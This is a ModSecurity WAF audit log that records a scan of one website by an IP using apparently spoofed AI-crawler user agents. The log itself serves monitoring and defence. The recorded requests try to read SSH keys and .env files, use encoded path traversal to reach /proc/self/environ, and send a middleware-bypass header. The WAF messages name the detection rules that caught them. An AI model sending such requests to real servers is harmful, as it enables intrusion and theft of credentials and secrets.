Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqZoOWM7dE9KgIIOpQhz8QAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqZoOWM7dE9KgIIOpQhz8QAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789290553974605 58188 (- - -)
Stopwatch2: 1789290553974605 58188; combined=56894, p1=235, p2=56306, p3=0, p4=0, p5=353, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ae625649-Z--

--4568e756-A--
[13/Sep/2026:12:09:14.088776 +0300] aqZoOisVWymXUono-eRUvQAAAAM 34.73.246.242 37548 127.0.0.1 7081
--4568e756-B--
GET /.ssh/known_hosts HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4568e756-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4568e756-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqZoOisVWymXUono-eRUvQAAAAM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqZoOisVWymXUono-eRUvQAAAAM"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554032170 56665 (- - -)
Stopwatch2: 1789290554032170 56665; combined=55317, p1=217, p2=54760, p3=0, p4=0, p5=340, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4568e756-Z--

--ea8c3e77-A--
[13/Sep/2026:12:09:14.089268 +0300] aqZoOjTJ6xTvcJoem7f6aQAAAFg 34.73.246.242 37562 127.0.0.1 7081
--ea8c3e77-B--
GET /.ssh/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ea8c3e77-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ea8c3e77-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/config"] [unique_id "aqZoOjTJ6xTvcJoem7f6aQAAAFg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/config"] [unique_id "aqZoOjTJ6xTvcJoem7f6aQAAAFg"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554035006 54340 (- - -)
Stopwatch2: 1789290554035006 54340; combined=53094, p1=215, p2=52594, p3=0, p4=0, p5=285, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea8c3e77-Z--

--3e094158-A--
[13/Sep/2026:12:09:14.146722 +0300] aqZoOisVWymXUono-eRUvgAAAAU 34.73.246.242 37574 127.0.0.1 7081
--3e094158-B--
GET /id_rsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--3e094158-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3e094158-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_rsa"] [unique_id "aqZoOisVWymXUono-eRUvgAAAAU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_rsa"] [unique_id "aqZoOisVWymXUono-eRUvgAAAAU"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554085921 60851 (- - -)
Stopwatch2: 1789290554085921 60851; combined=59477, p1=258, p2=58873, p3=0, p4=0, p5=345, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e094158-Z--

--02e5143b-A--
[13/Sep/2026:12:09:14.211292 +0300] aqZoOmM7dE9KgIIOpQhz8gAAAMg 34.73.246.242 37576 127.0.0.1 7081
--02e5143b-B--
GET /id_dsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--02e5143b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--02e5143b-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_dsa"] [unique_id "aqZoOmM7dE9KgIIOpQhz8gAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_dsa"] [unique_id "aqZoOmM7dE9KgIIOpQhz8gAAAMg"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554143499 67857 (- - -)
Stopwatch2: 1789290554143499 67857; combined=65838, p1=412, p2=65099, p3=0, p4=0, p5=326, sr=154, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--02e5143b-Z--

--e2f26514-A--
[13/Sep/2026:12:09:14.855133 +0300] aqZoOkwu1RSkptiiNIX4DQAAAIQ 34.73.246.242 37770 127.0.0.1 7081
--e2f26514-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e2f26514-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e2f26514-E--

--e2f26514-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqZoOkwu1RSkptiiNIX4DQAAAIQ"]
Stopwatch: 1789290554850186 5013 (- - -)
Stopwatch2: 1789290554850186 5013; combined=3721, p1=237, p2=3369, p3=56, p4=7, p5=52, sr=82, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e2f26514-Z--

--0c40156e-A--
[13/Sep/2026:12:09:14.883990 +0300] aqZoOmM7dE9KgIIOpQhz@gAAAMU 34.73.246.242 37726 127.0.0.1 7081
--0c40156e-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0c40156e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0c40156e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZoOmM7dE9KgIIOpQhz@gAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290554761738 122317 (- - -)
Stopwatch2: 1789290554761738 122317; combined=3521, p1=220, p2=3238, p3=0, p4=0, p5=63, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0c40156e-Z--

--7372ee42-A--
[13/Sep/2026:12:09:14.969414 +0300] aqZoOmM7dE9KgIIOpQhz-AAAAM8 34.73.246.242 37786 127.0.0.1 7081
--7372ee42-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7372ee42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7372ee42-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqZoOmM7dE9KgIIOpQhz-AAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554964555 4928 (- - -)
Stopwatch2: 1789290554964555 4928; combined=3470, p1=240, p2=2945, p3=0, p4=0, p5=284, sr=80, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7372ee42-Z--

--f9872f4f-A--
[13/Sep/2026:12:09:14.969855 +0300] aqZoOkwu1RSkptiiNIX4DAAAAIY 34.73.246.242 37760 127.0.0.1 7081
--f9872f4f-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f9872f4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f9872f4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZoOkwu1RSkptiiNIX4DAAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290554836107 133806 (- - -)
Stopwatch2: 1789290554836107 133806; combined=4106, p1=278, p2=3793, p3=0, p4=0, p5=35, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f9872f4f-Z--

--d6bccf37-A--
[13/Sep/2026:12:09:14.970206 +0300] aqZoOkwu1RSkptiiNIX4CwAAAII 34.73.246.242 37748 127.0.0.1 7081
--d6bccf37-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d6bccf37-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d6bccf37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoOkwu1RSkptiiNIX4CwAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290554825565 144714 (- - -)
Stopwatch2: 1789290554825565 144714; combined=3500, p1=252, p2=3220, p3=0, p4=0, p5=28, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d6bccf37-Z--

--e0699e75-A--
[13/Sep/2026:12:09:15.232145 +0300] aqZoO2M7dE9KgIIOpQhz-wAAAMw 34.73.246.242 37810 127.0.0.1 7081
--e0699e75-B--
GET /files../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
